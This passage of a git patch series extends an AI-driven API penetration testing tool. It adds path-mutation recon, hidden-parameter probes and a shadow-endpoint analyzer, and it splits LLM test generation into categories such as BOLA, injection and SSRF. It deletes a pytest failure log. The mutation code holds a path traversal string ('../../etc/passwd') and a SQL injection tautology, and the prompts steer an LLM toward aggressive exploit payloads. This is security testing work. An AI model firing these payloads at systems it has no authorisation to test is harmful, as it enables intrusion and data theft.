Version mutations if "/v1/" in stripped: - mutations.add(stripped.replace("/v1/", "/v2/", 1)) - mutations.add(stripped.replace("/v1/", "/internal/", 1)) - if not stripped.endswith("/admin"): - mutations.add(f"{stripped}/admin") + for ver in ("/v2/", "/v3/", "/beta/", "/dev/", "/internal/"): + mutations.add(stripped.replace("/v1/", ver, 1)) + + # Extension mutations + if "." not in stripped.split("/")[-1]: + for ext in (".json", ".xml", ".yaml", ".bak", ".old"): + mutations.add(f"{stripped}{ext}") + + # Admin & Shadow directory mutations + if not any(x in stripped for x in ("/admin", "/administrator", "/manager", "/config")): + for shadow in ("/admin", "/administrator", "/manager", "/config", "/system"): + mutations.add(f"{stripped}{shadow}") + + # ID & Injection mutations if "{id}" in stripped: - mutations.add(stripped.replace("{id}", "1")) - mutations.add(stripped.replace("{id}", "2")) + for inject in ( + "1", + "2", + "0", + "999999", + "00000000-0000-0000-0000-000000000000", + "../../etc/passwd", + "' OR 1=1--" + ): + mutations.add(stripped.replace("{id}", inject)) + return [m for m in mutations if m and m != path] @@ -71,6 +92,21 @@ def _build_discovery_tests(endpoints: List[APIEndpoint]) -> List[TestCase]: ) ) idx += 1 + + # Probe for hidden parameters on existing GET paths + if "GET" in known_methods: + discovery_tests.append( + TestCase( + id=f"PARAM-FUZZ-{idx}", + name="Parameter Discovery", + description="Probe for hidden debug or admin parameters", + owasp_category="API9: Improper Inventory Management", + endpoint=path, + method="GET", + params={"debug": "true", "admin": "1", "test": "true"} + ) + ) + idx += 1 return discovery_tests From fef618f6c23a78058bd4b0ede50cd886c3de7437 Mon Sep 17 00:00:00 2001 From: vishnu Date: Mon, 9 Mar 2026 23:17:12 +0100 Subject: [PATCH 8/8] feat: enhance reconnaissance, add AI recon analyzer, multi-stage test generation, and --instruction flag --- .gitignore | 82 ++++- README.md | 5 +- all_tests.txt | 446 ---------------------------- src/secnodeapi/ai/__init__.py | 8 +- src/secnodeapi/ai/generate.py | 95 ++++-- src/secnodeapi/ai/recon.py | 66 ++++ src/secnodeapi/cli.py | 36 +-- src/secnodeapi/config_loader.py | 56 ++-- src/secnodeapi/services/pipeline.py | 12 +- src/secnodeapi/services/recon.py | 33 +- 10 files changed, 294 insertions(+), 545 deletions(-) delete mode 100644 all_tests.txt create mode 100644 src/secnodeapi/ai/recon.py diff --git a/.gitignore b/.gitignore index c8713e6..d81781c 100644 --- a/.gitignore +++ b/.gitignore @@ -4,28 +4,92 @@ env/ .venv/ .env .sisyphus +ENV/ +env.bak/ +venv.bak/ # Application results results/ +strix_runs/ +test_output.txt +all_tests.txt -# Python Cache +# Python Cache and Compilation __pycache__/ -*.pyc -*.pyo -*.pyd +*.py[cod] +*$py.class +*.so .pytest_cache/ .coverage +.coverage.* +coverage.xml htmlcov/ *.egg-info/ +.eggs/ +*.egg +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.installed.cfg +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +.ruff_cache/ +.mypy_cache/ +.tox/ + +# Logs +*.log # macOS .DS_Store +.AppleDouble +.LSOverride +Icon +._* +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.Trashes +.VolumeIcon.icns +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +# Windows +Thumbs.db +Thumbs.db:encryptable +ehthumbs.db +ehthumbs_vista.db +*.stackdump +[Dd]esktop.ini +$RECYCLE.BIN/ +*.cab +*.msi +*.msix +*.msm +*.msp +*.lnk -# IDEs +# IDEs and Editors .idea/ .vscode/ .cursor/ -test_output.txt -all_tests.txt -results/ -strix_runs/ +*.swp +*.swo +*~ +.history/ +*.code-workspace +.metadata/ + +# Jupyter Notebook +.ipynb_checkpoints + diff --git a/README.md b/README.md index 80968da..9f7c95e 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,8 @@ AI-augmented, schema-driven API penetration testing from OpenAPI/Swagger specs, SecNode API helps security engineers and backend teams run repeatable API risk assessments in staging and CI without writing one-off test scripts for every target. - Ingests local or remote OpenAPI/Swagger schema files -- Uses an LLM to understand API behavior and generate adversarial test cases +- Performs **Multi-stage specialized AI generation** (Auth, Injection, Infrastructure, Business Logic) to maximize vulnerability coverage +- Performs enhanced reconnaissance (mutations, method probing, parameter fuzzing) augmented by an **AI Recon Analyzer** for shadow endpoints - Executes tests concurrently with optional proxy routing - Supports autonomous agent mode with request budgets and iterative replanning - Supports direct microservices mode with controller/planner/worker boundaries @@ -120,6 +121,7 @@ secnodeapi --target https://api.example.com/swagger.json --dry-run --dry-run-out secnodeapi --target https://api.example.com/swagger.json --auth-header "Authorization: Bearer " secnodeapi --target https://api.example.com/swagger.json --proxy http://127.0.0.1:8080 --insecure secnodeapi --target https://api.example.com/swagger.json --mode agent --request-budget 500 --max-iterations 6 +secnodeapi --target https://api.example.com/swagger.json --mode agent --instruction "username=admin, role=superuser" --instruction "username=user" secnodeapi --target https://api.example.com/swagger.json --mode microservices ``` @@ -132,6 +134,7 @@ secnodeapi --target https://api.example.com/swagger.json --mode microservices - `--auth-header` single inline auth header - `--auth-file` JSON file of auth headers - `--identities-file` JSON identities for differential auth testing +- `--instruction` comma-separated key=value pairs for instruction sets (repeatable) - `--schema-only` output normalized API structure and exit - `--dry-run` generate tests without executing - `--dry-run-output` write generated tests to JSON (requires `--dry-run`) diff --git a/all_tests.txt b/all_tests.txt deleted file mode 100644 index 6c45600..0000000 --- a/all_tests.txt +++ /dev/null @@ -1,446 +0,0 @@ -============================= test session starts ============================= -platform win32 -- Python 3.11.9, pytest-9.0.2, pluggy-1.6.0 -rootdir: C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER -configfile: pyproject.toml -plugins: anyio-4.12.1, cov-7.0.0 -collected 117 items - -tests\test_ai_modules.py FFFFFFFF [ 6%] -tests\test_attack_graph.py .... [ 10%] -tests\test_benchmarks.py ..... [ 14%] -tests\test_cli_and_config.py ............ [ 24%] -tests\test_cli_main_and_llm.py FFFFFFF [ 30%] -tests\test_contracts.py ......... [ 38%] -tests\test_executor_and_pipeline.py FFF [ 41%] -tests\test_instructions.py ................................ [ 68%] -tests\test_microservices_controller.py FF [ 70%] -tests\test_pipeline_service.py ..FFF [ 74%] -tests\test_planner.py .... [ 77%] -tests\test_report_generator.py .. [ 79%] -tests\test_reporting.py .... [ 82%] -tests\test_schema_fetcher.py F. [ 84%] -tests\test_skill_engine.py .... [ 88%] -tests\test_tool_parsers.py ....... [ 94%] -tests\test_vulnerability_models.py ... [ 96%] -tests\test_worker_policy.py ...F [100%] - -================================== FAILURES =================================== -___________________ test_understand_api_with_ai_parses_json ___________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________________ test_generate_test_cases_parses_list _____________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________ test_validate_findings_with_ai_filters_by_confidence _____________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________ test_classify_findings_deterministic_validator_no_llm ____________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -___________ test_classify_findings_low_confidence_goes_to_suspected ___________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -______ test_classify_findings_api10_does_not_trigger_api1_deterministic _______ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -__________ test_classify_findings_api5_token_triggers_deterministic ___________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -______ test_classify_findings_api50_does_not_trigger_api5_deterministic _______ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -______________________ test_cli_main_schema_only_branch _______________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -________________________ test_cli_main_dry_run_branch _________________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -_________________________ test_cli_main_failure_exits _________________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________________________ test_call_llm_success ____________________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -_________________ test_call_llm_ollama_uses_optional_api_base _________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________________ test_call_llm_ollama_without_api_base ____________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -_____________________ test_call_llm_raises_runtime_error ______________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -____________________ test_execute_proactive_tests_success _____________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -________________________ test_validate_and_retest_flow ________________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -________________________ test_build_pipeline_artifacts ________________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -______________________ test_controller_session_lifecycle ______________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -___________________ test_controller_attack_paths_available ____________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -___________________ test_run_agent_pipeline_enforces_budget ___________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -______________ test_run_agent_pipeline_branches_with_chain_tests ______________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -_____ test_run_agent_pipeline_preserves_skipped_cases_without_reexecution _____ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -___________________ test_fetch_schema_from_local_yaml_file ____________________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -__________ test_execute_invocation_policy_violation_returns_exit_126 __________ -async def functions are not natively supported. -You need to install a suitable plugin for your async framework, for example: - - anyio - - pytest-asyncio - - pytest-tornasync - - pytest-trio - - pytest-twisted -============================== warnings summary =============================== -.venv\Lib\site-packages\_pytest\config\__init__.py:1428 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\_pytest\config\__init__.py:1428: PytestConfigWarning: Unknown config option: asyncio_default_fixture_loop_scope - - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - -.venv\Lib\site-packages\_pytest\config\__init__.py:1428 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\_pytest\config\__init__.py:1428: PytestConfigWarning: Unknown config option: asyncio_mode - - self._warn_or_fail_if_strict(f"Unknown config option: {key}\n") - -.venv\Lib\site-packages\pydantic\_internal\_config.py:272: 10 warnings - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\pydantic\_internal\_config.py:272: PydanticDeprecatedSince20: Support for class-based `config` is deprecated, use ConfigDict instead. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - warnings.warn(DEPRECATION_MESSAGE, DeprecationWarning) - -.venv\Lib\site-packages\litellm\proxy\_types.py:53 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:53: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:140 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:140: PydanticDeprecatedSince20: `pydantic.config.Extra` is deprecated, use literal values instead (e.g. `extra='allow'`). Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - extra = Extra.allow # Allow extra fields - -.venv\Lib\site-packages\litellm\proxy\_types.py:143 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:143: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:172 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:172: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:218 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:218: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:279 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:279: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:291 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:291: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:330 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:330: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:357 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:357: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:618 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:618: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:641 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:641: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\proxy\_types.py:660 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\proxy\_types.py:660: PydanticDeprecatedSince20: Pydantic V1 style `@root_validator` validators are deprecated. You should migrate to Pydantic V2 style `@model_validator` validators, see the migration guide for more details. Deprecated in Pydantic V2.0 to be removed in V3.0. See Pydantic V2 Migration Guide at https://errors.pydantic.dev/2.6/migration/ - @root_validator(pre=True) - -.venv\Lib\site-packages\litellm\llms\prompt_templates\factory.py:6 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\.venv\Lib\site-packages\litellm\llms\prompt_templates\factory.py:6: DeprecationWarning: 'imghdr' is deprecated and slated for removal in Python 3.13 - import imghdr, base64 - -tests\test_ai_modules.py:25 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\tests\test_ai_modules.py:25: PytestUnknownMarkWarning: Unknown pytest.mark.asyncio - is this a typo? You can register custom marks to avoid this warning - for details, see https://docs.pytest.org/en/stable/how-to/mark.html - @pytest.mark.asyncio - -tests\test_ai_modules.py:39 - C:\Users\admin\Desktop\Projects\CyberIntelligence\API-PENTESTER\tests\test_ai_modules.py:39: PytestUnknownMarkWarning: Unknown pytest.mark.asyncio - is this a typo? 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You can register custom marks to avoid this warning - for details, see https://docs.pytest.org/en/stable/how-to/mark.html - @pytest.mark.asyncio - --- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html -=========================== short test summary info =========================== -FAILED tests/test_ai_modules.py::test_understand_api_with_ai_parses_json - Fa... -FAILED tests/test_ai_modules.py::test_generate_test_cases_parses_list - Faile... -FAILED tests/test_ai_modules.py::test_validate_findings_with_ai_filters_by_confidence -FAILED tests/test_ai_modules.py::test_classify_findings_deterministic_validator_no_llm -FAILED tests/test_ai_modules.py::test_classify_findings_low_confidence_goes_to_suspected -FAILED tests/test_ai_modules.py::test_classify_findings_api10_does_not_trigger_api1_deterministic -FAILED tests/test_ai_modules.py::test_classify_findings_api5_token_triggers_deterministic -FAILED tests/test_ai_modules.py::test_classify_findings_api50_does_not_trigger_api5_deterministic -FAILED tests/test_cli_main_and_llm.py::test_cli_main_schema_only_branch - Fai... -FAILED tests/test_cli_main_and_llm.py::test_cli_main_dry_run_branch - Failed:... -FAILED tests/test_cli_main_and_llm.py::test_cli_main_failure_exits - Failed: ... -FAILED tests/test_cli_main_and_llm.py::test_call_llm_success - Failed: async ... -FAILED tests/test_cli_main_and_llm.py::test_call_llm_ollama_uses_optional_api_base -FAILED tests/test_cli_main_and_llm.py::test_call_llm_ollama_without_api_base -FAILED tests/test_cli_main_and_llm.py::test_call_llm_raises_runtime_error - F... -FAILED tests/test_executor_and_pipeline.py::test_execute_proactive_tests_success -FAILED tests/test_executor_and_pipeline.py::test_validate_and_retest_flow - F... -FAILED tests/test_executor_and_pipeline.py::test_build_pipeline_artifacts - F... -FAILED tests/test_microservices_controller.py::test_controller_session_lifecycle -FAILED tests/test_microservices_controller.py::test_controller_attack_paths_available -FAILED tests/test_pipeline_service.py::test_run_agent_pipeline_enforces_budget -FAILED tests/test_pipeline_service.py::test_run_agent_pipeline_branches_with_chain_tests -FAILED tests/test_pipeline_service.py::test_run_agent_pipeline_preserves_skipped_cases_without_reexecution -FAILED tests/test_schema_fetcher.py::test_fetch_schema_from_local_yaml_file -FAILED tests/test_worker_policy.py::test_execute_invocation_policy_violation_returns_exit_126 -================= 25 failed, 92 passed, 56 warnings in 2.81s ================== diff --git a/src/secnodeapi/ai/__init__.py b/src/secnodeapi/ai/__init__.py index b758ed3..6528a14 100644 --- a/src/secnodeapi/ai/__init__.py +++ b/src/secnodeapi/ai/__init__.py @@ -4,12 +4,14 @@ from .generate import generate_test_cases from .understand import understand_api_with_ai -from .validate import classify_findings, validate_findings_with_ai, deduplicate_findings_with_ai +from .validate import classify_findings, deduplicate_findings_with_ai, validate_findings_with_ai +from .recon import analyze_recon_with_ai __all__ = [ - "understand_api_with_ai", "generate_test_cases", - "classify_findings", + "understand_api_with_ai", "validate_findings_with_ai", + "classify_findings", "deduplicate_findings_with_ai", + "analyze_recon_with_ai", ] diff --git a/src/secnodeapi/ai/generate.py b/src/secnodeapi/ai/generate.py index 85923b3..4d3811d 100644 --- a/src/secnodeapi/ai/generate.py +++ b/src/secnodeapi/ai/generate.py @@ -1,13 +1,13 @@ """ AI test generation stage for adversarial test case creation. """ +import asyncio import json from typing import List, Optional, Dict, Any import structlog from ..vulnerability_models import APIUnderstanding, SchemaStructure, TestCase - from .llm_client import call_llm logger = structlog.get_logger(__name__) @@ -16,19 +16,61 @@ async def generate_test_cases( understanding: APIUnderstanding, structure: SchemaStructure, instructions: Optional[Dict[str, Any]] = None ) -> List[TestCase]: - """Generate adversarial test cases for OWASP and business logic flaws.""" - logger.info("Generating adversarial test cases with AI") + """Generate adversarial test cases using a multi-stage specialized approach.""" + logger.info("Generating adversarial test cases with multi-stage AI") + + categories = [ + { + "name": "Identity & Access Control", + "focus": "BOLA (Broken Object Level Authorization), BFLA (Broken Function Level Authorization), IDOR, Direct Object Reference, and Session Fixation.", + "details": "Swap UUIDs, attempt to access other user's resources, try administrative verbs (PUT/DELETE) on non-admin endpoints, and test for missing authorization checks." + }, + { + "name": "Data Integrity & Injection", + "focus": "SQL Injection, NoSQL Injection, Command Injection, Mass Assignment (BOPLA), and Input Validation Flaws.", + "details": "Inject special characters, tautologies (' OR 1=1), administrative fields in JSON bodies (isAdmin: true, role: admin), and bypass schema constraints." + }, + { + "name": "Infrastructure & SSRF", + "focus": "Server-Side Request Forgery (SSRF), Security Misconfigurations, and Vulnerable/Outdated Components.", + "details": "Test for local file inclusion via URL parameters, probe for internal metadata services, and attempt to trigger verbose error messages or information leaks." + }, + { + "name": "Business Logic & State", + "focus": "Race Conditions, Workflow Bypasses, and Business Logic Flaws.", + "details": "Test for negative values in payments, out-of-order state transitions (checkout before add-to-cart), and concurrent request races on state-changing endpoints." + } + ] + + tasks = [] + for cat in categories: + tasks.append(_generate_category_tests(cat, understanding, structure, instructions)) + + # Run categories in parallel to maximize throughput + results = await asyncio.gather(*tasks) + + all_tests = [] + for tests in results: + all_tests.extend(tests) + logger.info("Total generated tests across all categories", total=len(all_tests)) + return all_tests + + +async def _generate_category_tests( + category: Dict[str, str], + understanding: APIUnderstanding, + structure: SchemaStructure, + instructions: Optional[Dict[str, Any]] = None +) -> List[TestCase]: + """Helper to generate tests for a specific category.""" + sys_prompt = ( - "You are an elite Offensive Security Researcher evaluating an API. Your goal is to generate " - "aggressive, complex, and highly realistic test cases. You MUST meticulously analyze the API structure, " - "infer data models, identify relationships between differing endpoints, and exploit implied business logic constraints. " - "Focus heavily on:\n" - "1. BOLA/IDOR: Swapping UUIDs/integers, wrapping IDs in arrays, using wildcard IDs.\n" - "2. BOPLA (Mass Assignment): Injecting 'is_admin': true, 'role': 'admin', 'credit_balance': 99999 into body payloads.\n" - "3. Race Conditions & Rate Limiting: High-volume concurrent requests, bypassing pagination limits (e.g., page_size=10000).\n" - "4. BFLA: Accessing DELETE/PUT administrative verbs on user-level endpoints or dropping 'admin' from paths.\n" - "5. Business Logic: Workflow bypasses (e.g., calling 'checkout' before 'add_to_cart'), negative numbers in payments.\n\n" + f"You are an elite Offensive Security Researcher specialized in {category['name']}. " + f"Your specific focus area is: {category['focus']}\n\n" + "Your goal is to generate aggressive, complex, and highly realistic test cases strictly within this category. " + "Analyze the provided API structure and business context to find subtle vulnerabilities. " + f"Detailed Instructions: {category['details']}\n\n" "Return ONLY a JSON object with a 'tests' array of objects perfectly matching this exact schema:\n" '{"id": "str", "name": "str", "description": "str", "owasp_category": "str", ' '"endpoint": "str", "method": "str", "headers": {"k": "v"}, "params": {"k": "v"}, "body": {}}' @@ -37,33 +79,30 @@ async def generate_test_cases( user_prompt = ( f"API Understanding Context:\n{understanding.model_dump_json(indent=2)}\n\n" f"Complete Target API Structure:\n{structure.model_dump_json(indent=2)}\n\n" - "Generate 100-200 highly targeted, exhaustive test cases ensuring sweeping coverage " - "of OWASP API Top 10 and tailored business logic exploitation vectors specific to this API's purpose. " - "Ensure realistic payloads based on the defined schemas (e.g. if an endpoint expects JSON, provide a structured JSON body)." + f"Generate 30-50 highly targeted, exhaustive test cases for the '{category['name']}' category. " + "Ensure realistic payloads based on the defined schemas. Each test case MUST be distinct and creative." ) if instructions: - greybox_context = ( - "\n\n[GREYBOX CONTEXT - AUTHENTICATED TESTING]\n" - "You have been provided with real credentials and variables for authenticated testing. Use them as follows:\n\n" - "- Include these credentials in HTTP headers (e.g., Authorization: Bearer , X-API-Key: )\n" - "- Use real username/password values in request bodies for login/authentication endpoints\n" - "- Apply these values to query parameters where relevant (e.g., user_id, account_id)\n" - "- Generate tests that exercise authenticated API flows, privilege escalation scenarios, BOLA/BFLA attacks, and account enumeration\n\n" - "Available credentials and variables:\n" - ) + greybox_context = "\n\n[GREYBOX CONTEXT - AUTHENTICATED TESTING]\nAvailable credentials and variables:\n" if isinstance(instructions, dict) and "variables" in instructions: variables = instructions["variables"] if isinstance(variables, dict): for key, value in variables.items(): greybox_context += f"- {key}: {value}\n" - greybox_context += "\nGenerate tests that demonstrate real exploitation using these values." - user_prompt += greybox_context + user_prompt += greybox_context + "\nUse these values to simulate real exploitation and authenticated bypasses." result = await call_llm(sys_prompt, user_prompt, temperature=0.7) try: data = json.loads(result) - return [TestCase(**t) for t in data.get("tests", [])] + tests_data = data.get("tests", []) + tests = [] + for t in tests_data: + try: + tests.append(TestCase(**t)) + except Exception: + continue + return tests except Exception as e: - logger.error("Failed to parse TestCases JSON", error=str(e), result=result) + logger.error(f"Failed to parse {category['name']} TestCases JSON", error=str(e), result=result[:200]) return [] diff --git a/src/secnodeapi/ai/recon.py b/src/secnodeapi/ai/recon.py new file mode 100644 index 0000000..9a73823 --- /dev/null +++ b/src/secnodeapi/ai/recon.py @@ -0,0 +1,66 @@ +""" +AI Reconnaissance Analyzer. +Processes undocumented endpoints discovered during active reconnaissance +to generate targeted adversarial test cases. +""" +import json +from typing import List, Optional, Dict, Any + +import structlog + +from ..vulnerability_models import APIEndpoint, SchemaStructure, TestCase +from .llm_client import call_llm + +logger = structlog.get_logger(__name__) + + +async def analyze_recon_with_ai( + discovered_endpoints: List[APIEndpoint], + structure: SchemaStructure, + instructions: Optional[Dict[str, Any]] = None +) -> List[TestCase]: + """Generate targeted test cases for newly discovered shadow endpoints.""" + if not discovered_endpoints: + return [] + + logger.info("Analyzing discovered endpoints with AI", count=len(discovered_endpoints)) + + sys_prompt = ( + "You are an elite Offensive Security Researcher evaluating an API. " + "During an active reconnaissance phase, we discovered undocumented 'shadow' endpoints that " + "were NOT in the original API schema. These often represent debugging, legacy, or administrative functionality. " + "Your goal is to generate aggressive test cases targeted SPECIFICALLY at exploiting these hidden endpoints. " + "Focus heavily on:\n" + "1. Privilege Escalation (BFLA) on administrative shadow routes.\n" + "2. Information Disclosure on debug or metric endpoints.\n" + "3. Improper authentication on legacy versions (e.g., /v1/ mutating to /v2/ without auth).\n\n" + "Return ONLY a JSON object with a 'tests' array of objects perfectly matching this exact schema:\n" + '{"id": "str", "name": "str", "description": "str", "owasp_category": "str", ' + '"endpoint": "str", "method": "str", "headers": {"k": "v"}, "params": {"k": "v"}, "body": {}}' + ) + + user_prompt = ( + f"Original API Structure Context:\n{structure.model_dump_json(indent=2)}\n\n" + f"Newly Discovered (Undocumented) Endpoints:\n" + f"{json.dumps([ep.model_dump() for ep in discovered_endpoints], indent=2)}\n\n" + "Generate 10-30 highly targeted test cases focused exclusively on these newly discovered endpoints. " + "Assume some of these endpoints might bypass standard authentication logic or expect 'admin' parameters." + ) + + if instructions: + 